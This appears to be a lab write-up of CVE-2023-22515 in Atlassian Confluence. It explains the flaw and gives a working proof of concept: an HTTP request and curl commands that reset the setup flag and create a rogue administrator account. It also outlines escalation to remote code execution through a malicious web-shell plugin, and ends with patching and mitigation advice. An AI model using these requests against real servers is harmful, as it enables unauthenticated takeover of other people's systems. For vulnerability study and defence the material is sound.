
Detailed analysis and proof-of-concept exploit for CVE-2023-22515, a critical broken access control vulnerability in Atlassian Confluence Data Center and Server, enabling unauthenticated admin account creation and potential remote code execution.
CVE-2023-22515 is a critical Broken Access Control vulnerability discovered in Atlassian Confluence Data Center and Server products. An unauthenticated attacker can remotely reactivate the server's initial setup process, create a new administrator account, and fully compromise the system.
The core of this vulnerability lies in insufficient validation between the XWork2 framework's parameter binding mechanism and Confluence's Action processing logic.
An attacker can manipulate the bootstrapStatusProvider.applicationConfig.setupComplete value to false via URL parameters. This property is a critical flag that determines whether Confluence has completed installation and configuration.
GET /server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false HTTP/1.1
Host: <target-ip>
Sending the above request causes the server to recognize in memory that the setup is not complete. While this does not modify the persistent configuration file (confluence.cfg.xml), it changes the runtime state, allowing the bypass of access controls.
/server-info.action while passing the parameter bootstrapStatusProvider.applicationConfig.setupComplete=false./setup/* are lifted./setup/setupadministrator.action and creates a new System Administrator account.A vulnerable version (8.5.1) of Confluence Server was set up using Docker.
atlassian/confluence-server:8.5.1docker-compose.yml (Summary):
services:
confluence:
image: atlassian/confluence-server:8.5.1
ports:
- "8090:8090"
environment:
- ATL_DB_TYPE=postgresql
# ... DB config ...
To avoid Python dependency issues, a PoC was created and executed using a Bash script with curl.
Exploit Flow:
Reset Setup Status:
curl -v "http://localhost:8090/server-info.action?bootstrapStatusProvider.applicationConfig.setupComplete=false"
Result: An HTTP 302 redirect response was returned, confirming that the setup-complete status was internally cleared.
Create Administrator:
curl -X POST "http://localhost:8090/setup/setupadministrator.action" \
-H "X-Atlassian-Token: no-check" \
--data "username=hacked_admin&password=p@ssw0rd123&..."
Result: The request attempted to create the hacked_admin account, and later access to that account was possible from the login page.
Immediately upgrade to the latest version provided by Atlassian.
If patching is not possible, block access to the /setup/* endpoints at the network level (load balancer, WAF, reverse proxy, etc.).
/setup/*An attacker who gains administrator privileges via CVE-2023-22515 can proceed to execute system commands (RCE).
Confluence grants administrators the ability to install plugins (Add-ons). Attackers can exploit this by uploading a malicious plugin containing a web shell, thereby gaining control over the server's operating system.
/setup/finishsetup.action (requires license bypass) or browse accessible admin menus using an existing session.Confluence Administration -> Manage Apps -> Upload App.jar file containing malicious Java classes/plugins/servlet/webshell?cmd=id) to execute system commands.This lab environment (Docker) lacks a valid Confluence license, so the initial setup phase cannot be completed. Therefore, while the administrator account creation request succeeded (302 Redirect), subsequent access to the plugin menu and actual RCE execution were restricted. In a real production environment, a license would be registered, allowing immediate RCE without such limitations.
CVE-2023-22515 is a highly dangerous vulnerability that allows an attacker to gain administrator privileges without authentication. The attack is as simple as manipulating URL parameters, making the exploitation difficulty very low. Therefore, organizations using the affected versions should apply immediate patches or mitigation measures.